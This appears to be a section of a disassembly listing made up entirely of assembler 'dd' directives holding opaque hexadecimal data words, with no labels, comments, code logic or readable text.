		dd 0A47C740Eh, 3409294Bh, 0E8C13122h, 0CCF2D669h, 5906C10h
		dd 0B2714009h, 0AAB2014Ah, 0A1205E19h, 6CB609C6h, 8A5C7257h
		dd 81F87BDh, 201C4E62h,	63C409EBh, 0B10A0968h, 33900630h
		dd 0E9ED3E98h, 3139303Dh, 1601F858h, 2293DF59h,	840BE955h
		dd 0D112B82Dh, 0CA29F0EAh, 0DE54A814h, 0AFF205EFh, 1AFEB2Dh
		dd 155B0F56h, 0C3447BCDh, 0CCFBA8B6h, 7741C607h, 1793DE82h
		dd 0B574D63h, 0FB4602FBh, 9500D9C5h, 726FB318h,	13124EE3h
		dd 517C942Dh, 3BD381F2h, 0F95670D2h, 0E3F2CA82h, 6677F582h
		dd 2032BD5Ch, 0DEB9704Ah, 2FF77658h, 20CA72D3h,	0A98870D4h
		dd 7E3E7BAAh, 0A9791B18h, 61D9B0A1h, 0A3065848h, 2F94E24Fh
		dd 0C15E02AFh, 1265E8E3h, 0B292593h, 50567C58h,	254D583Eh
		dd 0CF067682h, 4FE09C49h, 5A4B0A01h, 9685E0FCh,	0E7864179h
		dd 7C751568h, 1231C0BEh, 34452638h, 0D006D5F7h,	0C7EDD2CEh
		dd 6CF1D94Fh, 0F3F4712Ch, 5AB3586Dh, 6F40A3CDh,	49F0576Fh
		dd 981EDF0Bh, 0B8131314h, 0B0E90B32h, 62C35E1Dh, 0DBE632BBh
		dd 17B95997h, 0BFD284CAh, 7C63662Eh, 0CC840168h, 0FB9F5DD3h
		dd 8711B44Ch, 0B0DFC972h, 80336CA4h, 95E0D3h, 316DAC49h
		dd 55B90047h, 0E9B8CE92h, 38C0C075h, 3A412D40h,	135E6D4h
		dd 0EBE545BDh, 5958C701h, 0A18D2C95h, 1F7BFE88h, 0F1553B19h
		dd 90A8841h, 9827D23Bh,	3EB7F4A7h, 0F0E4F90Fh, 0B79599h
		dd 0A1DEC2B3h, 0D1FAB7AEh, 0E5C83CEDh, 4A43208h, 0EE7F9868h
		dd 1C66AE9Dh, 33796806h, 65C78CDAh, 9BF234EAh, 8C868053h
		dd 4C67A95Ch, 0E9134731h, 0B6FD40ABh, 5EC680C1h, 0EEEAFEE0h
		dd 0E473FCEBh, 0CF051EC0h, 0B55CBD2Eh, 783A158h, 8C1D91AFh
		dd 17904B64h, 59F886E9h, 304FE65Bh, 7E188858h, 31262D4Ah
		dd 5243196Ah, 0BD012E72h, 15356B80h, 0B8082B8h,	3836F62Dh
		dd 0E828295Bh, 5D5C0705h, 0FC854FBAh, 783F6C89h, 0DB2FE950h
		dd 0EA6C89Ch, 64A52F47h, 3A046740h, 0D46F0728h,	905FEA40h
		dd 7EFA0F55h, 278BB303h, 6EBB5BC8h, 0AC814382h,	0F959FFE3h
		dd 0CBBF5710h, 0FB092BD6h, 0AD8D16A4h, 0AE208410h, 0B8C65C0Fh
		dd 9E313D27h, 2C3C70Fh,	66BC616Eh, 35F26901h, 0D8808972h
		dd 75627480h, 0B1DF4B7Bh, 0C81683B7h, 0B77F9924h, 3945E890h
		dd 0B9513FD0h, 2E9A1F8Bh, 1D31B8Ah, 636B5269h, 0D10C6E29h
		dd 17EB7CFBh, 2D7AB861h, 0B4812E09h, 5A02DE0Fh,	3B8A4376h
		dd 778BEABCh, 35216E28h
		dd 0EFEFF404h, 8F2A213Dh, 5EB54241h, 9801B313h,	5E961F15h
		dd 0BD9EC13Eh, 640205E7h, 84F028EAh, 0CDBFD9A3h, 1023260Eh
		dd 0AC4BF0D2h, 5C9A5040h, 336A36CFh, 80102A1h, 5DA838E9h
		dd 0A081942Ah, 2BF945BEh, 8212FEA6h, 55DB30Bh, 6DB65174h
		dd 534001D0h, 85FE35E9h, 1753EC7Fh, 0A8644481h,	965C7BC1h
		dd 59EA6181h, 0ECDDC48Fh, 46A0C3B7h, 1099F08h, 0B9EB8940h
		dd 0EAE6E99Bh, 0F036F79Ch, 0D8BAE924h, 0BF086BA6h, 423128EEh
		dd 6D411031h, 16EB6809h, 0F409B2D7h, 0A0016483h, 0DCBE94F6h
		dd 79C1FE27h, 0E15C0287h, 993102DDh, 357B91CDh,	0A370AFFCh
		dd 606DE9D9h, 64C6F7A0h, 0A098E411h, 0F315432Dh, 528897D4h
		dd 0A20FACDEh, 0E44CD8E9h, 780B0BBAh, 7300142Fh, 0D47033CAh
		dd 0D0427F38h, 5714F896h, 1BD63E2h, 0F737CB8Dh,	0C6C07E9h
		dd 0E2B70F4Ch, 315F10B5h, 84049984h, 30DEBE4Bh,	7DE95C05h
		dd 92DAEC9Dh, 0F87F98BCh, 0D59B5B15h, 0CD4182B2h, 0F97BE6DCh
		dd 2D94EA06h, 3E2FE7D5h, 0B772262h, 426E5413h, 0A6D92CCBh
		dd 0EE5935A8h, 1A680C60h, 4116D314h, 0F2C32F29h, 4843890Dh
		dd 977CD0F1h, 7A25BE02h, 68FE4204h, 71872D01h, 0B20484Ch
		dd 995A1894h, 4E543A37h, 68267661h, 66763A4Ch, 0E4610F41h
		dd 8083ED30h, 3906AFBAh, 0D3BF175Bh, 3F68B00Bh,	3524431Fh
		dd 0B08E14C9h, 0E90283E2h, 0EC19520Dh, 0C6B65E0h, 213BD958h
		dd 0F900FF1Ah, 0D7B5515Ah, 6480EDD0h, 925862CDh, 2D525B2Eh
		dd 61EDC150h, 51289E40h, 5F3FACDAh, 0A8554B2Ch,	5C702BF4h
		dd 68C80B0Fh, 0C25976F4h, 299B9399h, 0C60EE328h, 0AFDF0CD8h
		dd 0EE507C58h, 0F19F5F08h, 3B5560AEh, 0F5FC19E2h, 0EE065750h
		dd 6045A70Ch, 58D75230h, 37585C25h, 5B16D36Ch, 67ED0916h
		dd 8FEED0C2h, 2F3C9208h, 46C595C8h, 37716805h, 697DFF99h
		dd 6100502h, 1CC55580h,	9F13E99Fh, 2A096C20h, 0E4355B8Dh
		dd 0D72C1E5Ch, 34094A89h, 8740290Dh, 0A9945048h, 0C9806990h
		dd 4BC1E69Ah, 80EFF801h, 0D668515Ch, 0EF18BF5Bh, 5E82AA1Ah
		dd 0D8382FD4h, 0F74AF3E9h, 9A89C3A9h, 18B53AD8h, 12380534h
		dd 0FC7EE83Bh, 680740D3h, 0C639B62Dh, 0E1B870E9h, 7B58C311h
		dd 48338A80h, 3BF20404h, 0C8E15FE9h, 854A9CB9h,	8D13E3B3h
		dd 1D96FDDDh, 5324310Bh, 0F299E30Bh, 48D00F0Eh,	8F6B2F3Ah
		dd 0C0BE9927h, 31229B63h, 0C25EF52Fh, 12B6E53Ah, 1530BF5Ch
		dd 62F1FBBh, 0F38170DEh, 9AB60D1Bh, 0AB020F2Ch,	0D45A8D18h
		dd 22742716h, 73AA0207h, 59CF01E1h, 8861B62Bh, 81E26D3h
		dd 0C3256A23h, 5ECA8227h, 0B9A53E31h, 69562542h, 0DA7F5CE0h
		dd 0A95F4A47h, 5EEB250Fh, 0FAFA0D8h, 74C5524Bh,	0B9562EF0h
		dd 0C787500h, 1FEDBE55h, 0C99D10B8h, 4DD5FFEh, 78D7AA86h
		dd 3772EBA7h, 628974B3h, 0A60FEED8h, 9F0A69CDh,	0A6F1FDE0h
		dd 25D306D0h, 7D8CC235h, 897D313Ah, 9D74960Ch, 0E99C2371h
		dd 0C2A70D6Ch, 5A704AEh, 329391C0h, 0D1653020h,	8B3CE3Eh
		dd 4AC0A97Dh, 41A52AADh, 836727E9h, 3F68DEB8h, 2F5F7865h
		dd 0FAE01195h, 16FA004Bh, 1D58CB81h, 0C09D52E0h, 30568D8Eh
		dd 60C6236h, 15038747h,	5E9D3F7h, 0B3410099h, 3EBC00Bh
		dd 4006E380h, 0C3FEDBF6h, 0FA337A0Eh, 0A198A12Ah, 9CAD2803h
		dd 0EE5EED81h, 17950737h, 54F6DA89h, 3BA7A40Eh,	197E02ADh
		dd 7230F5D2h, 53B56902h, 14D28807h, 1368F388h, 0DC3DEA31h
		dd 188DA72Eh, 0B932E651h, 60A71683h, 0C63387E2h, 0EA09AD82h
		dd 0F8301713h, 0AF6E527Ah, 0D606BE07h, 1FC4401Ah, 2950AA6h
		dd 5EB27938h, 68024B7Fh, 5A07C6DFh, 94C8E6F2h, 0FB629FE0h
		dd 24A5AC6h, 87E0D6B5h,	49909061h, 0B31D3A1Dh, 0FCC6C916h
		dd 5B4E907Ah, 6DF76985h, 97005C89h, 0E3060A8Bh,	0E71B6197h
		dd 0F35FFA6Ch, 0CCE9C2FAh, 877D7C9Ah, 0A2D802EBh, 0FD648DE4h
		dd 68401309h, 0F28B0F15h, 5AE8F484h, 0EE12B00Eh, 2E440C58h
		dd 0C805DF2h, 74232554h, 2D90F178h, 843F7D04h, 94FB2952h
		dd 5B15E09Eh, 4F012D05h, 10FE7EBAh, 575F0764h, 104FF871h
		dd 8A4BB16Bh, 0F3EC5A5Fh, 367E6C5h, 0F6DC15Bh, 93E14092h
		dd 0E48014EBh, 6B1C0295h, 51623018h, 5C5AEE7Ch,	0B97C49EDh
		dd 8102F822h, 465FBEE1h, 0F98F6818h, 0E9440940h, 0D8906BA8h
		dd 0FE007BD6h, 0B7ED8169h, 95344438h, 50B0E158h, 8D1725Ah
		dd 0F154B40Fh, 25D19203h, 4941B16Ch, 0E10C5C87h, 0CE89427Ch
		dd 0B1018876h, 313AD0ABh, 9225BB28h, 0F4B05D41h, 3BE1D3B6h
		dd 0BE99CF04h, 6D738DEFh, 5A51041Bh, 0F3F148AEh, 3252216Bh
		dd 75253AF6h, 615F77A8h, 2FEC050h, 0A505DFF6h, 0E7874097h
		dd 302C23F2h, 56197ABCh, 0EE0691E2h, 0C9A4C0F0h, 0F10F902h
		dd 40C5890Ah, 128CF5D1h, 0E2237E61h, 1D20048Eh,	3652FFADh
		dd 0F19D9B18h, 0B428E46Dh, 0F863255Ch, 4A66E0D5h, 0E946680Ah
		dd 0EF12CE50h, 0B6637B0Bh, 818D767Fh, 56471FC7h, 8E876EE4h
		dd 40FB0F74h, 0E780B697h, 0F6EE664Eh, 76DD545Ch, 96E95B0Ah
		dd 0A09F9907h, 681698E7h, 0DC784A61h, 0E202BD76h, 0E9733015h
		dd 29FB69B8h, 5427096Eh, 793D2686h, 4B69BB01h, 0EBC115B8h
		dd 1283087Bh, 0FC6D5816h, 0B712E50Bh, 859BADB9h, 4C533F32h
		dd 0B8F265FAh, 93EDD64Ch, 0AE44945Eh, 33B6EF13h, 80C6058Ah
		dd 3003F780h, 0C0175BF9h, 0E30B02E1h, 0EE2F0731h, 0F00E550Bh
		dd 856A59A9h, 6815D2D8h, 0D3993E78h, 744600BFh,	0E946D92Ch
		dd 0F100CA4Fh, 784C94BBh, 0E3C1184Ah, 68020604h, 86B37C5Bh
		dd 0B42E4F51h, 0C4955C54h, 65CA2752h, 450D1068h, 7295D790h
		dd 0A96EBFF9h, 40CB08E2h, 0A047C4BFh, 95A51510h, 6B3E259h
		dd 3FAEF03Ch, 40472D8Fh, 7D05CC0Eh, 74ED0A55h, 885C829Ch
		dd 2040871Ch, 0E59D6585h, 0A5ED0104h, 213C9323h, 6DA52F67h
		dd 34BD0C82h, 98423B2Ah, 65A08D0Eh, 61E9798Ch, 9907B541h
		dd 0D9F06F74h, 58E13830h, 0B044FC4Ah, 2CE9502Ch, 967FC7F9h
		dd 0C8EFB254h, 0A2584CC3h, 4B58A956h, 8C38D1A6h, 537758C0h
		dd 9CCA092Ch, 0B959E56Fh, 845027BAh, 0DB8DEF31h, 9515D060h
		dd 0D925AD51h, 0DF740FCh, 0E9131214h, 0F253BBCBh, 76FE480h
		dd 37254A6Bh, 8BD0E0CFh, 0EC9D5808h, 7A1D2021h,	0C1916397h
		dd 0D7806BF2h, 68F585C7h, 0ABBE016Ch, 1DBA270Ch, 307809C3h
		dd 285562F7h, 74300882h, 4A614D60h, 1E5A1A02h, 40D76ADDh
		dd 25E9300Ch, 498FDAAh,	0D882C9B7h, 40C298F0h, 0F69852D0h
		dd 5B15A20h, 882BEF80h,	0EDCF2DFAh, 0AFCE98D7h,	1DC6E1A3h
		dd 86638371h, 0F846D4F1h, 37578AB7h, 100D2E09h,	2449EC31h
		dd 5225DAh, 209285B4h, 7CB27EE9h, 0D95B5825h, 94D5E90Dh
		dd 88FABCD8h, 8909F528h, 12C953D5h, 0A12DFF11h,	55E9320Ch
		dd 216B89FDh, 2FF36E19h, 622EF88Ah, 8D549657h, 3188400Ah
		dd 780DC816h, 560AADE9h, 0A3DD5C21h, 975B1724h,	8416D153h
		dd 0C11331BCh, 27219A63h, 0C4495C59h, 4FE85302h, 0ACE2B324h
		dd 0C2B6C050h, 567EEC0h, 0E6640806h, 878E3581h,	24C0AC04h
		dd 69023947h, 771A7AD8h, 0CAC10DE4h, 1BFB0AE5h,	754CDD6Ch
		dd 39264506h, 0B33012F7h, 18BD2AD4h, 72283D53h,	0DB8B5B2Fh
		dd 3E2F2F70h, 0A85AD1DFh, 8DC7BDA1h, 5018D427h,	88034EB4h
		dd 0E83058E5h, 56370159h, 0FC7FDABEh, 2A463032h, 0CD038016h
		dd 64AC0AC4h, 0BE8E9C6h
		dd 9876709Dh, 0C6681296h, 0B5E6312Fh, 0B8802F3Ah, 70C58036h
		dd 75DD7526h, 8C30DEEDh, 94067DCDh, 2DE2F2B4h, 41BB5D02h
		dd 14B0BB05h, 53FFE2E9h, 0E4B9B19Ah, 179A7749h,	9AC4E6FFh
		dd 0C0C31FACh, 0F0E41A85h, 970D6B2Dh, 0B5315E70h, 5AD7B708h
		dd 0F03E3A39h, 0A2D1E6A4h, 0D5C79DAAh, 16DF5BA7h, 8FC1C956h
		dd 1FCD0726h, 6BADDB7Fh, 97ED021Dh, 0F82E0B0Fh,	8C5A975Dh
		dd 682CF770h, 66E1574Ah, 2D48654Fh, 0A7CBBA12h,	9A354FDBh
		dd 0C90782BEh, 2974BEF8h, 7414BB8h, 0DE5BDFDCh,	8583D2D5h
		dd 7B8FE313h, 0E602E52Fh, 876A190h, 51F1B471h, 0B91CC06Fh
		dd 6018B67h, 3C1FA5BAh,	62F3134h, 64EF27Eh, 3D146813h
		dd 0E9C246ECh, 64DCE0FCh, 17F2B395h, 0DDD17468h, 202ABEE2h
		dd 9E7CAC2h, 2D213Bh, 0A9D4FEF2h, 9A17E9F3h, 22524AC3h
		dd 97361437h, 0EFCAFE2h, 42E7D149h, 4D056223h, 87FC01AAh
		dd 0F4D6F7F5h, 68BD1B02h, 2F6439C6h, 67D0352Dh,	9134045Dh
		dd 6C5A00D3h, 79E96240h, 35AEBF61h, 0EF7790E4h,	0C54ED48Eh
		dd 0CABA36h, 81B3F24Fh,	7F6F685Ch, 0C05A8F73h, 0BE3961F1h
		dd 7E97709h, 9732D212h,	0F84944F9h, 2C7195C7h, 7DA19D64h
		dd 0FFF92292h, 0FB705A27h, 4883435Fh, 6712BCC3h, 78FEE296h
		dd 5E39DC64h, 80FEE880h, 4709147Ah, 5610F01Ch, 0C3542C90h
		dd 0F9613D09h, 9509A8C0h, 551CF1FAh, 40B20BDh, 9511F0CFh
		dd 0C6B00646h, 685CA1BDh, 0E32B27CAh, 2CEDD336h, 0E9D23181h
		dd 17F338C2h, 0E204D329h, 0E0D176C0h, 0C52007E2h, 5F66EA0Eh
		dd 7B3BA4C3h, 30402912h, 0C0391CEFh, 0E92DD460h, 729E9B44h
		dd 8144AC53h, 105C0960h, 0B99B1BAEh, 3F824CB5h,	5083CA40h
		dd 4DF5ABEAh, 0B093F4CBh, 0C0BD538Fh, 97A3723Dh, 0FBD5E298h
		dd 0C39C3F83h, 0C822FE9Eh, 2C0E8532h, 0AB53E6F2h, 4B36F80Eh
		dd 6DD7CD60h, 0E70502FEh, 70087069h, 5F0781B1h,	0F718FAF6h
		dd 14C953Eh, 0CA323D4Fh, 0D4B6B037h, 2E273EE2h,	405C0Ah
		dd 6EDC362Bh, 942AE947h, 7A96D105h, 2CF46108h, 5FED89A2h
		dd 5A2547FBh, 9A65FC97h, 0F2D69E3Ch, 67A93DE8h,	8F68DD82h
		dd 10D26431h, 680B9DE7h, 80C43905h, 0BE3A5679h,	0A01E324Eh
		dd 8C0B57DBh, 3CBA82FBh, 59F85A4Fh, 0A56104D2h,	0C80B1C63h
		dd 4654466h, 0E9762C02h, 5F5FA84Bh, 7633212Dh, 6184C050h
		dd 78EB0A5Ah, 0CC71764h, 9FDD4FBh, 21A0B0C5h, 0F8895DEFh
		dd 47295F16h, 4D35CB2h,	67B024Bh, 0F423C729h, 0B7DD4E26h
		dd 0AB347BB1h, 2AAC5BBDh, 7F21E407h, 0AD34A448h, 68079AC0h
		dd 948FE92Eh, 0C78000BBh, 5BFA30F1h, 0E9A87EF6h, 9A956C01h
		dd 3CC4DD92h, 8AD96529h, 0E08A0849h, 71ADF6A7h,	0FCE84568h
		dd 0C701B02Dh, 57C85EE9h, 39768DB7h, 33EB0255h,	625C9113h
		dd 8B70828h, 0BC18E906h, 5F6768Fh, 891C096Dh, 0AC9983F5h
		dd 0A4C61B2Fh, 38885DCEh, 0D0E140F4h, 0B8B46BEDh, 0CB282516h
		dd 0B43808F0h, 8BE3276Dh, 89DA5320h, 0DAF1F1E2h, 6ED7C3E0h
		dd 0E9170B72h, 3748E0C7h, 0FD829A13h, 76CB598Fh, 2D4E2278h
		dd 977524FDh, 6582E04Ah, 5D048217h, 1673E9B3h, 125155DDh
		dd 0F4EEE561h, 9227E9F1h, 55799878h, 322F2D68h,	51269B65h
		dd 6CDAE9E1h, 0BAFADE53h, 4BFA5809h, 278D465Eh,	0CD4A2176h
		dd 8180A1FCh, 366BB9E1h, 5AF2454Ah, 3D165DC3h, 0D0F748A8h
		dd 9ACAC3B7h, 657C60E0h, 44AEB6B7h, 9EEA9A8h, 5163C280h
		dd 0CAFE8703h, 0BEF6C4E9h, 8C64FFCAh, 46BA00FCh, 4B2BA755h
		dd 0A0767329h, 24C227E5h, 0DD68006Bh, 6034795Dh, 26359E58h
		dd 0CB1E86A2h, 5EADC189h, 0E9514050h, 0DB9B7729h, 285D7208h
		dd 780B093Ah, 0FD8843CBh, 0C38086F6h, 5B76CE44h, 257EF23Bh
		dd 20BD0FD3h, 0C00DB252h, 0A0034AE2h, 0FA9F2F83h, 8E719721h
		dd 38B37363h, 0E51C5BFBh, 0B8E81658h, 68BE80B3h, 97053A52h
		dd 0E901EF0h, 0F11C6A09h, 0E2A87D15h, 34AE2808h, 3C27A2Dh
		dd 3E2507C8h, 0D70FF98h, 2E281500h, 785D3503h, 0A1065ED5h
		dd 3E32FDE1h, 0DA83257h, 238B21B4h, 15CA7A0Ah, 0CD279E58h
		dd 0ADCA3A92h, 2DAC147Eh, 0DEAE108h, 0E470895Fh, 0BA970A7Dh
		dd 9AD4DE31h, 0BADA5D0Ch, 468C6A1h, 27A1480h, 0BD794BA1h
		dd 36480419h, 56804D1Fh, 0E3091724h, 27289230h,	315C4671h
		dd 0F1C1051Fh, 78537E43h, 5D96813Eh, 38812E4Bh,	81F8A963h
		dd 245102E6h, 0DEF70B05h, 3B7DEAC1h, 0E0D651F3h, 4B7488FCh
		dd 41193ADFh, 0DE5CE0Ah, 0C407EE01h, 0A6622CE9h, 85E5B544h
		dd 67C8AD95h, 95BAFE08h, 5C399423h, 0C0C6E503h,	51E3058h
		dd 0CC54850Ch, 0C2FBEC32h, 0D17F2268h, 1E926DCh, 5B5379F0h
		dd 58236D31h, 94FC17E3h, 6E8C9A94h, 0B66F4B4Eh,	54257A8Ah
		dd 2E1618DAh, 2E6681CCh, 0F676E300h, 72CDFED5h,	67B6080h
		dd 146BE92Ch, 234EE897h, 754B176Dh, 601B0181h, 6B316C2Ch
		dd 0B05E218Bh, 3773E9F9h, 6248699Fh, 96050D81h,	3C6F3297h
		dd 31814AEDh, 405B950h,	1FE8EEF2h, 423F6A5h, 0BADF35F7h
		dd 0B9836BC5h, 0E2CB3BAEh, 0A35BA6BCh, 71472D71h, 4E92A8F7h
		dd 0AFE5B012h, 55247E43h, 955DC04Eh, 0D273F792h, 0C2A66EEBh
		dd 604B1CD3h, 3D372C2Ch, 20CF8327h, 89E7F1C8h, 0BE35F181h
		dd 0EC223943h, 87B4A37Bh, 0E13CD882h, 83E055DCh, 408A9C3Eh
		dd 81D19053h, 90456BBFh, 9E04FD29h, 5A0F9502h, 541E79C1h
		dd 52E32B23h, 7E79B983h, 0F92946D0h, 0A885F5Eh,	74053A10h
		dd 0D1116113h, 108B06C2h, 30489CC2h, 0E80C522Eh, 0AD5C3095h
		dd 35F50411h, 0D4BF75F0h, 5A080B74h, 0B9E9F530h, 0B2A2D65Ah
		dd 8EE9947Fh, 0C78492F2h, 21648747h, 3C319572h,	0DFF70ED8h
		dd 3F99A181h, 5DFE4C04h, 555F2980h, 0BA5B8CE9h,	76F7FB7h
		dd 1AB811C6h, 53A440BDh, 0FD5B5A59h, 70987644h,	166FEA38h
		dd 36276C91h, 0DD4BA949h, 30B810Fh, 41ED1BD0h, 10E81D86h
		dd 2769AECFh, 72DA5685h, 1CE57027h, 7FD4C218h, 5C0C93Dh
		dd 45C06419h, 874F11E5h, 72A2A04Ah, 8303B8A0h, 0E9450BA2h
		dd 0C2F48DDCh, 0C1D389E2h, 373F0DE7h, 1DF925Dh,	0D40EBA5Dh
		dd 0EDE94197h, 6BF76F83h, 289F497Bh, 0E40C844Ah, 0F2FA5BC1h
		dd 0B91A5960h, 4EE460A3h, 984EC02h, 0DF06135Eh,	9308B587h
		dd 67E897C9h, 752EE91Dh, 75497FF5h, 0D09F5480h,	312F93A2h
		dd 5D86E0DDh, 0E9400948h, 92278E4Ch, 718572F8h,	0B602E49Ah
		dd 82099E4Bh, 6C77532Fh, 3D1C604Dh, 0CD44F5BBh,	4496F48h
		dd 5E90325Fh, 8CB50BEh,	6D445B25h, 0FED8E89Ch, 0AF58B4B1h
		dd 57AEB9E9h, 0C4CFA4B4h, 0B094EB34h, 226BD3B9h, 0C420E124h
		dd 1AFDC355h, 0ACA0CFDAh, 0BB7D13B8h, 0C6054D00h, 0D4FCC0Eh
		dd 0B3072ABh, 86E9481Ah, 0B9BD51C0h, 1D3B4705h,	5880E5C1h
		dd 262464F5h, 16933ACDh, 59DE2A7h, 41432F45h, 61C0BF01h
		dd 0C872EA5h, 0FF3934F7h, 0A05C180h, 45BC8042h,	5AEAF425h
		dd 39FF8157h, 7BAAE9h, 0FEE3B7E3h, 9CE480CFh, 0FD8FEDE7h
		dd 3D43FCEh, 8F88A2E2h,	71516804h, 3A589DBBh, 5A68A6D8h
		dd 0C2A5F41Dh, 3BED840h, 20BC4611h, 0F6E1F509h,	0A5A32A63h
		dd 0CC3AF841h, 8C40774Eh, 92209056h, 3D79B7B2h,	60E85264h
		dd 1773057Eh, 0ACFE8975h, 9FC20D0h, 0C12C5004h,	0EA1F7B54h
		dd 0C688F449h, 70057029h, 82314B20h, 647FEB0Ch,	84564A9Dh
		dd 359CBA43h, 91BB4A0Fh
		dd 69585377h, 8B83C9F8h, 5C844AD3h, 640449C8h, 5FC7BC9Dh
		dd 0CEF6E8A8h, 0D8748C0Bh, 0A2217D78h, 0DB6F97E2h, 127168C8h
		dd 1D60CC94h, 3A285123h, 4D17390Dh, 75950037h, 0E9426006h
		dd 0C5862934h, 0F2A737E8h, 575195D1h, 0DEB8844Fh, 42BC5690h
		dd 4D482D88h, 0C06993E4h, 59C64115h, 942B79FDh,	5D080365h
		dd 0AADC4E68h, 0CCFF5F34h, 1213F2D6h, 1A106E8h,	460173DDh
		dd 45B2704Eh, 0B05B4A24h, 8845AE18h, 9887766Ch,	95FBFA19h
		dd 41BD8FCEh, 1F33816Ch, 8007A648h, 694C1121h, 83350B06h
		dd 0C0B70F01h, 18EB6866h, 0B76D9270h, 0C39E9A46h, 0BDF89750h
		dd 86CBF064h, 62838050h, 1546A469h, 0EC9993E9h,	2202C612h
		dd 1444206Ch, 5B106B27h, 0DA018A43h, 98710B6h, 7933A568h
		dd 7EE9619Bh, 24DF329Dh, 253F8B57h, 0F49164DEh,	64111D68h
		dd 0CE8ED36h, 49917CFh,	0CE41B2A0h, 1A2A3140h, 757E4CABh
		dd 9208CB05h, 38B1F840h, 2293E46h, 542C8CF7h, 2581F650h
		dd 0D0211F02h, 6741BBC6h, 9562342h, 7C008E71h, 0BD7A9D1Fh
		dd 26602E3Dh, 0FC78087Dh, 0E4CBFE0Eh, 4EACC945h, 9740CCC9h
		dd 9EB0DF09h, 57D9C85Eh, 0C0B128C0h, 3B1BF59Ah,	41B80EE8h
		dd 0B00D2A3Bh, 1F1186Eh, 0E9B9131Eh, 0B8D0C0D5h, 2B3D5750h
		dd 0BD58166Bh, 0C65011B2h, 0E871449Bh, 58D584C4h, 0F5E58002h
		dd 83194357h, 5A0C3D08h, 44B7EFAh, 22E91EC5h, 218BD02h
		dd 240797C3h, 0FB206039h, 6EB3097Bh, 1E058F5Fh,	0F68F5642h
		dd 5AD31CD8h, 0CDA2DED3h, 2516625Ch, 0B17EBC12h, 282BD921h
		dd 0E90BC152h, 0FD2D680Ah, 55537F18h, 37251290h, 688810E0h
		dd 7466BFEDh, 862CE926h, 0C649E0AFh, 0AFBF1FCAh, 0D3805386h
		dd 15C0EEB7h, 0CC906240h, 0BF01560Fh, 0A8F68C2Dh, 0A10C5BB0h
		dd 27F37BDEh, 2B66F1D9h, 549439B0h, 7A54546Ch, 7BE6255Ah
		dd 60CF495Ch, 0F7422A30h, 50D3E4DBh, 0D256AC43h, 5EE4AC17h
		dd 92C0C2F0h, 0EE585842h, 52E6FA84h, 0DEF24853h, 0B8F6DF12h
		dd 0A7C7924Dh, 6A664850h, 0BD5F4B38h, 280492C8h, 5603A643h
		dd 40D979BEh, 2E3D7C6Eh, 96AD54B4h, 45514C75h, 88F36B25h
		dd 2BF8D197h, 5C72A30Ah, 4CC102A8h, 295C736Ch, 2261CD03h
		dd 0C56E0510h, 0AA0DCA5Ch, 181EF586h, 0E2F903FCh, 0D1BF1828h
		dd 0F1F6E189h, 0A0906AE9h, 4F6855BBh, 90BCBAh, 28E7567h
		dd 2E27A92Dh, 13C7ABD0h, 5529255h, 829F2175h, 62FA6441h
		dd 7D6A550Fh, 74E29882h, 0F41E32DAh, 1889CF28h,	201B528Dh
		dd 8E9F8146h, 5C8603Ch,	50907B96h, 82F0D61Dh, 5DEEDCC0h
		dd 2D6629Fh, 185EF97h, 6A2801B5h, 0D23208h, 0E506BD05h
		dd 5ABD5B0Fh, 67682672h, 5E7EA894h, 40FC4FB0h, 0E548C06h
		dd 4B0A507Ch, 0F728EE2Ch, 5AD73004h, 530034ECh,	1245CF6h
		dd 0F02AE95Bh, 0E62781BCh, 77034006h, 12235E90h, 2E55E192h
		dd 0BCD3F2F2h, 0ECF110D3h, 7D69234Ch, 560D0800h, 509DB462h
		dd 8AF7E625h, 0B6581C42h, 76CD7CC4h, 0C004B012h, 0D007E01Ch
		dd 304F8FAh, 0C7207134h, 0C0B0C3FCh, 0E1B803EFh, 0A3B15102h
		dd 0C58149E9h, 6FA43D8Ah, 0FEC09605h, 0EDDD7306h, 0E5BF0310h
		dd 8177AA13h, 9008ECE8h, 0A016958h, 0A691383Ch,	1D8DC008h
		dd 5EE68C52h, 7B0FC6DDh, 7A12E243h, 901F08Dh, 8D0ECBBFh
		dd 4712A754h, 5A7C0B0h,	41E91737h, 830EA86Ah, 0D90F3135h
		dd 6207DFE0h, 7C695C85h, 19457757h, 0EE3BB42Fh,	44B963Dh
		dd 0E8F75DFEh, 0EA1CC47Fh, 7DBF6802h, 0BAC97576h, 0A0BB46BBh
		dd 95C1B26Bh, 177FAE46h, 5E6BBB81h, 0C67C9695h,	3AC19E6Bh
		dd 11DC75E2h, 1007843Fh, 70258907h, 1A892F12h, 840347F0h
		dd 0BE0E717Fh, 0C08E8A80h, 0E759CE55h, 455A59D6h, 11E9B656h
		dd 0F84BEEA2h, 0DB8E86BAh, 3D0F48A7h, 0DDB02B3Fh, 51B9CD90h
		dd 0E94D1C04h, 5008024h, 1F1E228Bh, 0C23F0598h,	7677A525h
		dd 0AA282FE5h, 0B2023FCBh, 0DE1DE9BFh, 882ED893h, 0DAAFF772h
		dd 0FBE917ECh, 9574AEC3h, 820164FFh, 0AD444A1h,	95F34C25h
		dd 7F5AD2D1h, 0EB8BE7AFh, 1A77F7AAh, 7C22568h, 8C8A7484h
		dd 0F7068077h, 7908E97Ah, 13C204BDh, 0C7336A51h, 62EA516Bh
		dd 11903134h, 0C03804A8h, 36E92CD0h, 7FC4CD5h, 5AF028ECh
		dd 0D8035577h, 7ADFA72Ch, 0E62881BDh, 0A17F545Bh, 0FC04A81Ah
		dd 0ABA41E0Bh, 7AB9D8A6h, 0E2D78273h, 885574C2h, 0C28523Ah
		dd 2D1B919Fh, 0BEA4167Ah, 2D261A23h, 44596629h,	0B78C7A6Ah
		dd 4F5ED60h, 5F9B1AAFh,	0DF04FE31h, 3D452609h, 82D6356Ch
		dd 0B97FF1C5h, 72F0FB94h, 779EB257h, 73827C7h, 8B6995D4h
		dd 4A51F2BBh, 68670285h, 49A213B0h, 5C7C28BAh, 9089E2C8h
		dd 303E48F4h, 3366090Ch, 3980D7F7h, 3ECB1E2Ah, 0FC3BE92Fh
		dd 29D749F6h, 0A216F401h, 545509D0h, 0B25FDCE9h, 0A4A15EC4h
		dd 0BC0D1317h, 2B83C9EDh, 0F535CA06h, 0AF30A96Fh, 9D765968h
		dd 0E9975067h, 1EB70312h, 92FBA94Fh, 40D6AEA0h,	550759B4h
		dd 2E4B3BBDh, 5A68A42Dh, 68F0804Fh, 0C69D7535h,	0FF169D18h
		dd 0D1275FBCh, 0C668C7C5h, 6E229D01h, 9BEE0164h, 56754C1Dh
		dd 0A75ABFF7h, 0F68162B3h, 647859BFh, 0F42488EEh, 282E7768h
